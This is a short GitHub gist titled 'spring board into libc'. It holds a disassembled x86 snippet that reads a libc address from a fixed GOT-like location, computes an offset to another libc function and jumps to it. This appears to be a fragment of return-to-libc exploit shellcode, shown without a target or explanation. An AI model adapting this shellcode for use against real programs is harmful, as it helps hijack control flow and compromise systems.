Skip to content

Instantly share code, notes, and snippets.

@evanlong
Created August 16, 2012 09:30
Show Gist options
  • Save evanlong/3368734 to your computer and use it in GitHub Desktop.
Save evanlong/3368734 to your computer and use it in GitHub Desktop.
spring board into libc
3a: 89 04 24 mov %eax,(%esp)
3d: 31 db xor %ebx,%ebx
3f: 89 58 02 mov %ebx,0x2(%eax)
42: bb 08 a0 04 08 mov $0x804a008,%ebx
47: 8b 03 mov (%ebx),%eax
49: bb ff ff ff 7f mov $0x7fffffff,%ebx
4e: 81 eb 2f 59 fc 7f sub $0x7ffc592f,%ebx
54: 29 d8 sub %ebx,%eax
56: 83 ec 04 sub $0x4,%esp
59: ff e0 jmp *%eax
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment